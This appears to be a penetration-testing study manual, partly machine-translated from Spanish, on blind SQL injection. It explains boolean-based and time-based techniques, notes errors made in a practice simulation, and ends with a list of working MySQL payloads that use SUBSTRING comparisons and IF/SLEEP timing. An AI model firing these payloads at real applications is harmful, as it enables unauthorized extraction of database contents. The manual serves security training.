MASTER REVIEW MANUAL: PHASE 3 - BLIND SQL INJECTION
Instructor: Red Team Lead Status: LEVEL COMPLETED (CONCEPTUALLY) Objective: We will extract data from a database that does not show results...
Instructor: Red Team Lead Status: LEVEL COMPLETED (CONCEPTUALLY) Objective: We will extract data from a database that displays neither results nor errors.
1. INTELLIGENCE: THE 20 QUESTIONS GAME
Sección titulada «1. INTELIGENCIA: EL JUEGO DE LAS 20 PREGUNTAS»We can no longer “see” the data. We can only see if the web reacts well (Green Light) or poorly (Red Light). We will extract data here slowly. We must guess letter by letter.
- Question: “Is the first letter of the password ‘A’?”
- The web loads normally -> YES.
- The web loads empty/error -> NO.
2. ATTACK VECTORS
Sección titulada «2. VECTORES DE ATAQUE»VECTOR A: Boolean-based (True/False)
Sección titulada «VÉCTOR A: Basado en Boolean (Verdadero/Falso)»- Scenario: The page content changes.
- Tool:
SUBSTRING(texto, inicio, longitud). - Correct Payload:
101 AND substring(version(), 1, 1) = '5' - Our Error in Simulation:
substring(..., 1, 4) = '4'.- Tactical Correction: We were comparing 4 letters with 1. We will always trim 1 by 1 to be precise:
substring(..., 1, 1).
- Tactical Correction: We were comparing 4 letters with 1. We will always trim 1 by 1 to be precise:
VECTOR B: Time-based (The Stopwatch)
Sección titulada «VÉCTOR B: Basado en Tiempo (El Cronómetro)»- Scenario: The page always responds the same (“200 OK”). It is a black hole.
- Strategy: We will use TIME as a communication channel.
- Tool:
SLEEP(segundos)(MySQL) orWAITFOR DELAY(MSSQL). - Logic
IF:IF( CONDICION , DUERME , NO_DUERMAS ). - Our Error in Simulation:
IF( (condicion) , SLEEP(5) )-> MissingELSE.- Tactical Correction:
IF( (condicion) , SLEEP(5) , 0 ). TheIFfunction in MySQL strictly requires 3 arguments.
- Tactical Correction:
3. MENTAL FLOW TO BUILD THE PAYLOAD
Sección titulada «3. FLUJO MENTAL PARA CONSTRUIR EL PAYLOAD»We will not memorize. We will build logically.
- Anchor: We need a base truth to be fulfilled.
id=101(Valid user).
- Connector: We need to add our question to the base truth.
AND
- Question: The condition we want to verify.
substring(user(), 1, 1) = 'a'
- Effect (Only Time-Based): If it's true, we'll do something notable.
SLEEP(5)
Resulting Payload (Time-Based):101 AND IF( substring(user(),1,1)='a', SLEEP(5), 0 )
4. GOLD PAYLOADS
Sección titulada «4. PAYLOADS DE ORO»Boolean Test (MySQL):1' AND 1=1 -- - (Loads correctly - Green Light)
1' AND 1=0 -- - (Loads incorrectly/empty - Red Light)
Guessing Version (Boolean):1 AND substring(@@version, 1, 1) = '5'
Guessing Version (Time-Based):1' AND IF(substring(version(),1,1)='5', SLEEP(5), 0) -- -

